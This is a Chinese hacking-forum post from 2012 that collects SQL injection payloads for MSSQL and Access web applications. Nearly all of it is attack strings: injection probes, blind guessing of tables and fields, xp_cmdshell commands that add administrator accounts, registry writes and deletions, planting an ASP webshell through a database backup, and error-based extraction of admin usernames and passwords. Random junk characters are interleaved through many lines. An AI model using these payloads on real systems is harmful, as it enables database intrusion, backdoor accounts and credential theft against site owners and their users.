找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1979|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
. p# w. h, u- R* G4 W;and 1=1 . N  O7 O. [+ e
;and 1=2
. @" S% V* j- [" J, s4 `4 q2 j. ~! S& V
2.初步判断是否是mssql ; ?0 x/ k5 e+ N* {" r( d$ y
;and user>0 % C9 b4 l2 X' Q1 Y/ q; \* D" p

( k5 ^0 l  Z  ^- e/ V, ^: S3.判断数据库系统   r5 K. O: s4 G. f- l! n% ~1 G" k3 G
;and (select count(*) from sysobjects)>0 mssql ) B$ v9 `9 i' Y6 k
;and (select count(*) from msysobjects)>0 access 2 {4 N7 P) S4 e7 a

. o& `6 s  \+ A" l( |1 x+ @3 @/ K; O4.注入参数是字符 6 ~; O9 ]7 j- [1 D
'and [查询条件] and ''='
" L; \  \$ s0 _0 z, B0 M- q
! z3 n6 @1 T/ d; M5.搜索时没过滤参数的
( i- P. T# D& [0 g'and [查询条件] and '%25'='
( D' J2 k, ]; R
& `! T/ C" [) {' z- }6.猜数表名 ! f: v6 y2 F  Z6 C! J4 U
;and (select Count(*) from [表名])>0
7 s9 s' D4 Q3 q6 I  ~% k. \' r$ Y+ N9 F% s$ g
7.猜字段
7 d+ n' q- u/ D. C1 C;and (select Count(字段名) from 表名)>0
& S( ^2 V3 I% A0 b5 @% e9 U7 O5 ^4 [/ g4 z% |& N
8.猜字段中记录长度 0 {! Z$ w- k4 I* z/ Y7 F9 {
;and (select top 1 len(字段名) from 表名)>0 - k$ |) ]$ L! U, q0 L2 }
, y$ ~% {. j! {: J8 |
9.(1)猜字段的ascii值(access) 6 A, ?2 S- F' n
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0   ~" g0 `) C& a5 X; z
, l  x) T9 j- p# a8 n
(2)猜字段的ascii值(mssql)
; S4 x# A) _5 F8 l+ r7 W: s! }, k  B;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
9 V4 ]  f) P5 y; U; V7 R% }1 n8 [
- ^  @, _9 Q$ Y: d8 c2 C8 w8 _- q10.测试权限结构(mssql) $ a3 ?7 K* v" S$ ~2 P& w+ N- ?0 o
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ( A, t% ]6 B: `8 |$ A/ J7 t
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
# D0 g+ g1 s" M! C  X& d- O;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ; z, B, Y, w" g: n- y0 ~
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- & b5 [% `& F1 v# I1 Y
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 5 V) x- H. t2 j* M1 E. @& b6 v
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- " Y, r' o; X6 f$ A1 Q* {% H/ z- w, ]
;and 1=(select IS_MEMBER('db_owner'));-- ; _  l, R% y  r) |+ N. e
$ D& z  z0 \) N0 q% ~' B; m
11.添加mssql和系统的帐户 $ H/ T( Y0 C3 w) U
;exec master.dbo.sp_addlogin username;-- 4 Q! }" [/ ]6 P( A9 s
;exec master.dbo.sp_password null,username,password;--
( V6 w- N2 q' L. P+ F  W;exec master.dbo.sp_addsrvrolemember sysadmin username;-- , G9 Y6 e3 [! |+ w7 L
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
- y/ c4 I9 u- Y;exec master.dbo.xp_cmdshell 'net user username password /add';--
, T% ~$ q8 M( O" n( e& };exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ! ?! b* u* P% k+ \% K! H. Q, z0 A
, Q0 L( @4 F6 T, K- l+ e/ O; b
12.(1)遍历目录
# I- ]! u9 z* _" E8 o" ?0 _6 t;create table dirs(paths varchar(100), id int) $ o  {, L; S, G1 ?5 ^
;insert dirs exec master.dbo.xp_dirtree 'c:\'
% u, d7 A: Z+ O7 l4 ?* a;and (select top 1 paths from dirs)>0 / {. B. b+ n1 N" h  A* c$ n
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
: ?  f! N6 f' [4 \8 m* }8 W7 O- N2 L/ Z, Z- b
(2)遍历目录
3 R; g3 P" ]' e7 Q' _;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ( ^; a0 }2 A* o/ s! j, h- k
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9 O5 r% D' I$ w2 o; a: b
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
' o4 F9 H6 g" A! U+ ?8 j0 V;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
" j8 }7 e7 O$ i6 n( S  p5 Q& x+ r9 K3 t;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 - H' i0 z% o* L) \3 J! A8 d

" m: p3 Q( }3 f5 ^# ~& K) ?13.mssql中的存储过程
- n4 _5 P8 g5 a- Cxp_regenumvalues 注册表根键, 子键 ! S/ [5 O& Z* _1 c8 c6 r' _) l) J
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
2 ]% Y; D& p  jxp_regread 根键,子键,键值名 ' r; J) r' s! {: \5 Q
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
8 N$ x# p6 C: M9 K: U8 Cxp_regwrite 根键,子键, 值名, 值类型, 值
- Z6 L0 e# J# Y2 u8 [值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
+ [& o  \) T+ i( Q1 r;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
: b7 e( ^+ t$ u9 n) Q" lxp_regdeletevalue 根键,子键,值名 / m: ]; |3 C4 L$ Q
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
  b5 G. P2 J. _xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 % T! K% z& v; Z" P5 l1 i
. o& R$ n* ?4 P& t, l% U
14.mssql的backup创建webshell
" h  T; B8 Y4 vuse model
4 M) D. u2 }) c& _create table cmd(str image);
  T3 f7 k7 _$ m) C2 minsert into cmd(str) values ('<% Dim oScript %>'); . a& f4 [, K8 }( {
backup database model to disk='c:\l.asp';
% [) ]9 G5 ]5 t# S$ R4 m9 Z& q$ j! y. w$ m5 `' b# B( m; @, `
15.mssql内置函数
; P; A3 B- N! }: q;and (select @@version)>0 获得Windows的版本号
1 w$ E9 c  Q' _7 W8 N; [;and user_name()='dbo' 判断当前系统的连接用户是不是sa
) J: u5 j, U( H" g6 e' l. H& r;and (select user_name())>0 爆当前系统的连接用户 7 v. m% U# Y2 Z' r
;and (select db_name())>0 得到当前连接的数据库 9 y* ?0 L7 }. H

- w: y" @6 K6 w; b& b+ ?5 R  I5 w6 K4 o, E" W7 M' X7 U
3 ~* ]/ a( Q8 [  T& H9 @2 y
MSSQL手注暴库" [2 q1 ?" d' K) {; ]
! f9 [1 Y7 ?% _# K2 K" G
1.暴出当前表名和列名* \3 F* r$ c! l& S) |4 H
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。  j7 s- T6 e% R  L- a' Z

+ I& x2 f, p, y9 s. d3 q% u5 u5 y1 r第一.爆出所有数据库名
5 T4 v* a7 R/ @7 }1 h利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。* F, ]; s0 [' B# _7 @; m" M
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。% p* o% `3 T) g/ n- Z- ]

5 S, ?: A8 k* i, x! T7 b& i9 `and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
( R* {+ ]) e8 {: m4 f
5 \# i1 `. ~  d5 I6 T' h
4 j9 D! C- I( f第二.爆出指定库中的所有表名  }+ Y3 G7 R* u, r7 ~6 t$ c7 \! ^* ^$ d
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。3 P6 y7 v. v3 i" \; p, _
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
- g* M% v# Y( O7 G* Z2 }& C
  n& ^6 T6 _# O6 h- T5 Rand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--+ F' M9 E, S9 {$ k
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
1 Z) S% p1 c+ e( {. I$ r0 `and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--) V! d, D: V- r: Z$ f  ~4 F7 c

# V4 P' ^6 \2 {& o4.爆出指定表中的所有列名
# _' J0 y& Y: q  N8 e# H3 n" e) zand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
: O- M' l0 I0 A# ?3 O//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'5 C( K( V% N# W: \9 Q
( d' b( i# ]: c
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
# n  h! k$ c4 @' B# E- E3 n
9 F+ j0 R9 r' t) L8 P0 N再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
- t1 c4 u+ n- ^' G( w8 A依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
4 E5 x- D: K+ |  X
! t: C9 |, E6 g2 v8 r# Z. y9 m4 Z3 O* F7 o  t, n
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值5 G" A8 v" H: x2 [; }: W
, T" z: U4 f( r: S) ~3 a  j
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
$ F/ B# M& B5 C* j$ S* ]* C0 {( h$ I7 |9 g  N. E) B. K$ F& w
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 5 G7 b) `4 y' ]; W. m

  C/ X1 N4 i; |3 P3 z  ^& u1 Z( c8 _5 T: |% H( A8 G1 C- ]

+ m& ~' y" q: {: T2 M5.读取指定表中的数据
8 ^( H; W" l# t  t5 W* ^' A' C* X# M  {) f
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ! o$ u5 R* ^) Q3 E7 l! O
& W0 s/ n6 i: E  w
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
4 a8 }& I0 a7 E, S! G% @7 d- y1 ~* d3 l7 C
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码8 a( k+ H' R/ x  W% O+ Q4 P

( P8 {4 M! s1 ~* m# s3 p0 |/ _  g/ s( t0 B2 I/ t5 n" p
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)) z6 {. e" l& L& {, {/ _
* o/ U8 f6 `5 v  R  b7 V) x2 v
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
# P6 S2 r4 |. y4 Q% H7 e9 n8 }
+ N, j" e. A4 N2 o) g2 oand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
# ^* p% m' S3 i9 }" k/ r
% O1 J  _" O6 I$ N( |2 `知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
; \  w/ q) E7 [/ w- H8 }/ m7 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表